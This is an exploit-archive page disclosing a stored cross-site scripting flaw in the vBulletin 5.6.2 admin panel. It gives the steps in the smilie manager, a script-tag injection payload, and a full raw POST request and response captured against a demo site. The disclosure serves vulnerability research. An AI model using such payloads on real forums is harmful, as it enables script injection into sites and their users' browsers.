exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vBulletin 5.6.2 Persistent Cross Site Scripting

vBulletin 5.6.2 Persistent Cross Site Scripting
Posted Aug 18, 2020
Authored by Vincent666 ibn Winnie

vBulletin version 5.6.2 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 6797e8d2f7f5133f6e61f40e7b532b6ad62a8debe938bad1511a6ef507e1d286

vBulletin 5.6.2 Persistent Cross Site Scripting

Change Mirror Download
# Exploit Title: vBulletin 5.6.2 Stored XSS
# Date:15.08.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://www.vbulletin.com/en/features/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest-vincent.blogspot.com/
# PoC: https://pentest-vincent.blogspot.com/2020/08/vbulletin-562-stored-xss.html

PoC:

Go to the Admin panel -> open Smilies -> Smilies manager->Edit Smilie
Categories->edit Smile:

https://72329406fb3a-041342.demo.vbulletin.net/admincp/index.php

https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4

Put our code in the field "Title" or "Text to Replace" and other fields.

Our code:

""><script>alert("field")</script><marquee>test</marquee>

And save this. We have a stored XSS and html code injection.

Picture:

https://imgur.com/a/JUsmPye

Video:

https://www.youtube.com/watch?v=D526ZLgH90Y&feature=youtu.be

https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=update
Host: 72329406fb3a-041342.demo.vbulletin.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
Origin: https://72329406fb3a-041342.demo.vbulletin.net
Connection: keep-alive
Referer: https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4
Cookie: vb41342lastvisit=1597392323; vb41342lastactivity=1597521919;
vb41342np_notices_displayed=; vb41342contentlist_perpage=25;
vb41342sessionhash=845f579d01bdd42b4bf3020d4893f366;
PHPSESSID=d8cafaa942534428ce54ea2ba5a221ec7ed9532a6d9666b8;
BIGipServervbdemo-web_POOL=1459677194.20480.0000;
vb41342cpsession=18ca6bf5d79e5564ac2aa3a201612500;
vb41342sitebuilder_active=1
Upgrade-Insecure-Requests: 1
s=845f579d01bdd42b4bf3020d4893f366&do=update&adminhash=38c14dd475e4de2e3f95676226993ebd&securitytoken=1597523664-7fba45cf7add9630b2fda3e409ad0da7beec797c&title=Smile""><script>alert("field")</script><marquee>test</marquee>&smilietext=:)&imagespath=smile.png&imagecategoryid=4&displayorder=1&id=1&table=smilie&page=1&perpage=20&massmove=0&returnimagecategoryid=4
POST: HTTP/1.1 200 OK
Date: Sat, 15 Aug 2020 20:34:36 GMT

X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
Expires: 0
Cache-Control: private, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Connection: keep-alive, Keep-Alive
Keep-Alive: timeout=2, max=100
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

p.s.
Today i haven't idea how to use this bug, because only the admin user
has an access to the admincp and can insert xss code in the fields.

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close